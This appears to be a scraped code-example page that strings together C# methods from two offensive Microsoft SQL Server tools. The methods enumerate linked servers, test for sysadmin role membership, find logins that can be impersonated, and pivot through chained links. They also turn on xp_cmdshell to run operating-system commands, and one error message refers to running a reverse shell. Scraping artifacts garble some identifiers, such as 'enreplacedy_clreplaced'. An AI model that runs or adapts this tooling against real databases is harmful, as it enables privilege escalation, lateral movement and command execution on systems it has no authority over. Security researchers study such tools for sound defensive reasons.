string depType = lineageMapReader.GetString(2);
if (depType == "Map" || depType == "Use")
{
dependencyGraph.AddDependency(from, to, depType);
}
else if (depType == "Containment")
{
dependencyGraph.AddContainment(from, to);
}
}
}
}
}
19
Source : getlinked.cs
with GNU General Public License v3.0
from klezVirus
with GNU General Public License v3.0
from klezVirus
public void Execute(Dictionary<string, string> arguments)
{
string connectInfo = "";
bool verbose;
ArgumentSet argumentSet;
try
{
argumentSet = ArgumentSet.FromDictionary(
arguments,
new List<string>() {
"/server"
});
}
catch (Exception e)
{
Console.WriteLine($"[x] Error: {e.Message}");
return;
}
argumentSet.GetExtraBool("/verbose", out verbose);
SqlConnection connection;
SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo);
if (String.IsNullOrEmpty(connectInfo))
{
return;
}
if (!SQLExecutor.Authenticate(connectInfo, out connection))
{
return;
}
// I am confused about why it is necessary to perform this step as a separate procedure
// But it seems in-line impersonation doesn't work properly
if (!String.IsNullOrEmpty(argumentSet.impersonate))
{
Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate);
SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate);
}
if (!verbose && String.IsNullOrEmpty(argumentSet.target))
{
string procedure = "EXECUTE sp_linkedservers;";
procedure = SQLExecutor.PrepareSimpleStatement(procedure, argumentSet.impersonate);
SqlCommand command = new SqlCommand(procedure, connection);
using (SqlDataReader reader = command.ExecuteReader())
{
while (reader.Read())
{
Console.WriteLine("[*] Linked SQL server: " + reader[0]);
}
}
}
else
{
string query = @"SELECT
name AS 'SQL Server',
is_linked AS 'Linked',
is_remote_login_enabled AS 'Remote Login',
is_data_access_enabled AS 'Data Access',
is_rpc_out_enabled AS 'RPC Out'
FROM sys.servers;
";
if (String.IsNullOrEmpty(argumentSet.target) && String.IsNullOrEmpty(argumentSet.intermediate))
{
SQLExecutor.ExecuteQuery(
connection,
query,
argumentSet.impersonate,
true
);
}
else if (String.IsNullOrEmpty(argumentSet.intermediate))
{
SQLExecutor.ExecuteLinkedQuery(
connection,
query,
argumentSet.target,
argumentSet.impersonate,
argumentSet.impersonate_linked,
true
);
}
else
{
SQLExecutor.ExecuteDoublyLinkedQuery(
connection,
query,
argumentSet.target,
argumentSet.intermediate,
argumentSet.impersonate,
argumentSet.impersonate_linked,
argumentSet.impersonate_intermediate,
true
);
}
}
connection.Close();
}
19
Source : SQLExecutor.cs
with GNU General Public License v3.0
from klezVirus
with GNU General Public License v3.0
from klezVirus
public static void TrySqlExecute(SqlConnection connection, string procedure, bool separator)
{
try
{
SqlCommand command = new SqlCommand(procedure, connection);
using (SqlDataReader reader = command.ExecuteReader())
{
try
{
while (reader.Read())
{
if (reader.FieldCount == 0) { break; }
else
{
int written = 0;
string msg = String.Empty;
for (var i = 0; i < reader.FieldCount; i++)
{
string name = reader.GetName(i);
string value;
if (reader.GetFieldType(i) == typeof(bool))
{
value = reader.GetBoolean(i).ToString();
}
else if (reader.GetFieldType(i) == typeof(Int32))
{
value = reader.GetInt32(i).ToString();
}
else if (reader.GetFieldType(i) == typeof(String))
{
value = reader.GetString(i);
}
else
{
value = reader.GetValue(i).ToString();
}
msg = (written == 0) ?
String.Format("[+] {0:-15}: {1}", name, value) :
String.Format(" {0:-15}: {1}", name, value);
Console.WriteLine(msg);
written++;
}
if (written > 1 && separator) {
Console.WriteLine(" {0}", new String('-', 40));
}
written = 0;
}
}
}
catch (Exception e){ Console.WriteLine(e); }
}
}
catch (SqlException e)
{
if (e.Message.Contains("Execution Timeout Expired"))
{
Console.WriteLine("[*] The SQL Query hit the timeout. If you were executing a reverse shell, this is normal");
connection.Open();
}
else if (e.Message.Contains("Could not find server"))
{
throw new Exception("Couldn't connect to linked server. Check the spelling");
}
else
{
Console.WriteLine($"[-] Exception: {e.Message}");
return;
}
}
}
19
Source : getdbuser.cs
with GNU General Public License v3.0
from klezVirus
with GNU General Public License v3.0
from klezVirus
public void Execute(Dictionary<string, string> arguments)
{
string connectInfo;
bool permissions;
ArgumentSet argumentSet;
try
{
argumentSet = ArgumentSet.FromDictionary(
arguments,
new List<string>() {
"/server"
});
}
catch (Exception e)
{
Console.WriteLine($"[x] Error: {e.Message}");
return;
}
argumentSet.GetExtraBool("/permissions", out permissions);
SqlConnection connection;
SQLExecutor.ConnectionInfo(arguments, argumentSet.connectserver, argumentSet.database, argumentSet.sqlauth, out connectInfo);
if (String.IsNullOrEmpty(connectInfo))
{
return;
}
if (!SQLExecutor.Authenticate(connectInfo, out connection))
{
return;
}
// I am confused about why it is necessary to perform this step as a separate procedure
// But it seems in-line impersonation doesn't work properly
if (!String.IsNullOrEmpty(argumentSet.impersonate))
{
Console.WriteLine("[*] Attempting impersonation as {0}", argumentSet.impersonate);
SQLExecutor.ExecuteProcedure(connection, "", argumentSet.impersonate);
}
var queries = new List<string>();
queries.Add("SELECT SYSTEM_USER as 'Logged in as', CURRENT_USER as 'Mapped as';");
queries.Add("SELECT IS_SRVROLEMEMBER('public') as 'Public role';");
queries.Add("SELECT IS_SRVROLEMEMBER('sysadmin') as 'Sysadmin role';");
foreach (string query in queries)
{
if (String.IsNullOrEmpty(argumentSet.target) && String.IsNullOrEmpty(argumentSet.intermediate))
{
SQLExecutor.ExecuteQuery(
connection,
query,
argumentSet.impersonate);
}
else if (String.IsNullOrEmpty(argumentSet.intermediate))
{
SQLExecutor.ExecuteLinkedQuery(
connection,
query,
argumentSet.target,
argumentSet.impersonate,
argumentSet.impersonate_linked
);
}
else
{
SQLExecutor.ExecuteDoublyLinkedQuery(
connection,
query,
argumentSet.target,
argumentSet.intermediate,
argumentSet.impersonate,
argumentSet.impersonate_linked,
argumentSet.impersonate_intermediate
);
}
}
/*
The following query is quite difficult to wrap within my SQLExecutor, mostly due to the fact I implemented the output in tabular format
*/
if (permissions)
{
Console.WriteLine("[*] Checking user permissions..");
string query = @"SELECT *
FROM(SELECT 'OBJECT' AS enreplacedy_clreplaced,
NAME,
subenreplacedy_name,
permission_name
FROM sys.objects
CROSS APPLY fn_my_permissions(QUOTENAME(NAME), 'OBJECT') a
UNION ALL
SELECT 'DATABASE' AS enreplacedy_clreplaced,
NAME,
subenreplacedy_name,
permission_name
FROM sys.databases
CROSS APPLY fn_my_permissions(QUOTENAME(NAME), 'DATABASE') a
UNION ALL
SELECT 'SERVER' AS enreplacedy_clreplaced,
@@SERVERNAME AS NAME,
subenreplacedy_name,
permission_name
FROM fn_my_permissions(NULL, 'SERVER')) p
ORDER BY enreplacedy_clreplaced,
NAME";
if (!String.IsNullOrEmpty(argumentSet.intermediate) && !String.IsNullOrEmpty(argumentSet.target))
{
query = SQLExecutor.PrepareDoublyLinkedQuery(
query,
argumentSet.target,
argumentSet.intermediate,
argumentSet.impersonate,
argumentSet.impersonate_linked,
argumentSet.impersonate_intermediate
);
}
else if (!String.IsNullOrEmpty(argumentSet.target))
{
query = SQLExecutor.PrepareLinkedQuery(
query,
argumentSet.target,
argumentSet.impersonate,
argumentSet.impersonate_linked
);
}
SqlCommand command = new SqlCommand(query, connection);
TablePrinter.PrintRow("ENreplacedY", "NAME", "SUBENreplacedY", "PERMISSION");
TablePrinter.PrintLine();
using (SqlDataReader reader = command.ExecuteReader())
{
while (reader.Read())
{
TablePrinter.PrintRow(reader.GetString(0), reader.GetString(1), reader.GetString(2), reader.GetString(3));
}
}
TablePrinter.PrintLine();
}
connection.Close();
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void GetLinkedServers()
{
List<string> linkedSrvs = new List<string>();
string query = "EXEC sp_linkedservers;";
SqlCommand command = new SqlCommand(query, sqlConn);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read())
{
LinkedSqlServers.Add(reader[0].ToString());
Console.WriteLine("::: Linked SQL Server {0} :::", reader[0]);
linkedSrvs.Add(reader[0].ToString());
}
linkedSrvs.Add("DC01");
linkedSrvs.Add("dc01");
LinkedSqlServers = linkedSrvs;
reader.Close();
return;
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void LinkedServerEnumeration()
{
Console.WriteLine("::: Enumerating Linked Servers :::");
string q;
SqlCommand command;
SqlDataReader reader;
// check who you are running as
try
{
foreach (string srv in LinkedSqlServers)
{
q = String.Format("select r from openquery(\"{0}\",'select SYSTEM_USER as r');", srv);
command = new SqlCommand(q, sqlConn);
reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine(" :::Executing as {0} on {1} :::", reader[0], srv);
}
reader.Close();
}
} catch
{
Console.Write("");
}
// check role on server "select * from openquery(`"$currentSrv`",'SELECT IS_SRVROLEMEMBER(''sysadmin'')');"
try
{
foreach (string srv in LinkedSqlServers)
{
q = String.Format("select * from openquery(\"{0}\",'select IS_SRVROLEMEMBER(''sysadmin'')');", srv);
command = new SqlCommand(q, sqlConn);
reader = command.ExecuteReader();
while (reader.Read())
{
if (reader[0].ToString().Contains("1"))
{
Console.WriteLine("::: You are sysadmin on {0} :::", srv);
} else
{
Console.WriteLine("->> {0}", reader[0].ToString());
}
}
reader.Close();
}
}
catch
{
Console.Write("");
}
// check if links have outbound RPC enabled to perform xp CMD over link
//"EXEC ('sp_configure ''show advanced options''') AT $currentSrv"
// SELECT is_rpc_out_enabled FROM sys.servers WHERE name = 'APPSRV01'
try
{
foreach (string srv in LinkedSqlServers)
{
q = String.Format("SELECT is_rpc_out_enabled FROM sys.servers WHERE name = '{0}'", srv);
command = new SqlCommand(q, sqlConn);
reader = command.ExecuteReader();
while (reader.Read())
{
if (reader[0].ToString() == "False")
{
Console.WriteLine("::: rpc out disabled on {0} :::", srv);
}
else
{
Console.WriteLine("::: rpc out enabled on {0} :::", srv);
}
}
reader.Close();
}
}
catch
{
Console.Write("");
}
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public bool PerformQuery(string cmd)
{
SqlCommand command;
SqlDataReader reader;
try
{
command = new SqlCommand(cmd, sqlConn);
reader = command.ExecuteReader();
while (reader.Read())
{
// if multiple columns print them all out
if (reader.FieldCount > 1)
{
for (int x = 1; x < reader.FieldCount; x++)
{
Console.WriteLine("{0} -> {1}", reader.GetName(x).ToString(), reader.GetValue(x));
}
} else
{
Console.WriteLine("{0} -> {1}", reader.GetName(0).ToString(), reader.GetValue(0));
}
}
reader.Close();
return true;
}
catch (Exception e)
{
Console.WriteLine(e);
return false;
}
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void GetCurrentDb()
{
string query = "SELECT db_name();";
SqlCommand command = new SqlCommand(query, sqlConn);
SqlDataReader commandReader = command.ExecuteReader();
commandReader.Read();
Console.WriteLine("::: Current DB {0} :::", commandReader[0]);
startingDb = commandReader[0].ToString();
commandReader.Close();
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void GetCurrentDbUser()
{
//Send a command to get current user
string queryLogin = "SELECT SYSTEM_USER;";
SqlCommand command = new SqlCommand(queryLogin, sqlConn);
SqlDataReader commandReader = command.ExecuteReader();
commandReader.Read();
Console.WriteLine("::: Logged in as user {0} :::", commandReader[0]);
commandReader.Close();
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void GetCurrentDbUserContext()
{
//Send a command to get current user
string queryLogin = "SELECT USER_NAME();";
SqlCommand command = new SqlCommand(queryLogin, sqlConn);
SqlDataReader commandReader = command.ExecuteReader();
commandReader.Read();
Console.WriteLine("::: Executing in context of user {0} :::", commandReader[0]);
commandReader.Close();
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void GetLoggedInUser()
{
//Send a command to get current user
string queryLogin = "SELECT CURRENT_USER;";
SqlCommand command = new SqlCommand(queryLogin, sqlConn);
SqlDataReader commandReader = command.ExecuteReader();
commandReader.Read();
Console.WriteLine("::: Logged in as {0} :::", commandReader[0]);
commandReader.Close();
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public bool CheckRole(string roleToCheck)
{
// send command to get current user role membership
string queryRole = "SELECT IS_SRVROLEMEMBER('" + roleToCheck + "');";
SqlCommand command = new SqlCommand(queryRole, sqlConn);
SqlDataReader commandReader = command.ExecuteReader();
commandReader.Read();
Int32 role = Int32.Parse(commandReader[0].ToString());
if (role == 1)
{
Console.WriteLine("::: User is member of {0} role :::", roleToCheck);
commandReader.Close();
return true;
}
else
{
Console.WriteLine("::: User is NOT member of {0} role :::", roleToCheck);
commandReader.Close();
return false;
}
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void GetImpersonatableUsers()
{
String query = "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';";
SqlCommand command = new SqlCommand(query, sqlConn);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read() == true)
{
Console.WriteLine("::: Logins that can be impersonated: {0} :::", reader[0]);
LoginsCanBeImpersonated.Add(reader[0].ToString());
}
reader.Close();
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void CheckXpShellEnabled()
{
// check for show advanced
Console.WriteLine("::: Checking if xpCMDShell is enabled :::");
string res = "sp_configure 'Show Advanced Options'";
SqlCommand command = new SqlCommand(res, sqlConn);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read() == true)
{
if (reader.GetValue(3).ToString() == "0")
{
Console.WriteLine("::: Show Advanced Not Enabled :::");
} else {
Console.WriteLine("::: Show Advanced Enabled :::");
}
}
reader.Close();
// check for xp cmd shell
try
{
res = "sp_configure 'xp_cmdshell'";
command = new SqlCommand(res, sqlConn);
reader = command.ExecuteReader();
while (reader.Read() == true)
{
if (reader.GetValue(3).ToString() == "0")
{
Console.WriteLine("::: xpCMDShell Not Enabled :::");
}
else
{
Console.WriteLine("::: xpCMDShell Enabled :::");
}
}
reader.Close();
return;
} catch
{
Console.WriteLine("::: Need to enable advanced options first to enable cmd shell :::");
reader.Close();
return;
}
}
19
Source : TurtleToolKitSQL.cs
with The Unlicense
from latortuga71
with The Unlicense
from latortuga71
public void ExecutionViaCmdShell(string cmd)
{
try
{
Console.WriteLine("::: You must have sysadmin role membership for this method (via impersonation or other means) :::");
string enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
string execCmd = "EXEC xp_cmdshell " + cmd;
// enable xpcmd
SqlCommand command = new SqlCommand(enable_xpcmd, sqlConn);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
// exec command
command = new SqlCommand(execCmd, sqlConn);
reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("::: cmd res -> {0} :::", reader[0]);
reader.Close();
// revert settings?
}
catch (Exception e)
{
Console.WriteLine("Failed! Try impersonating a user before running this function");
}
}
See More Examples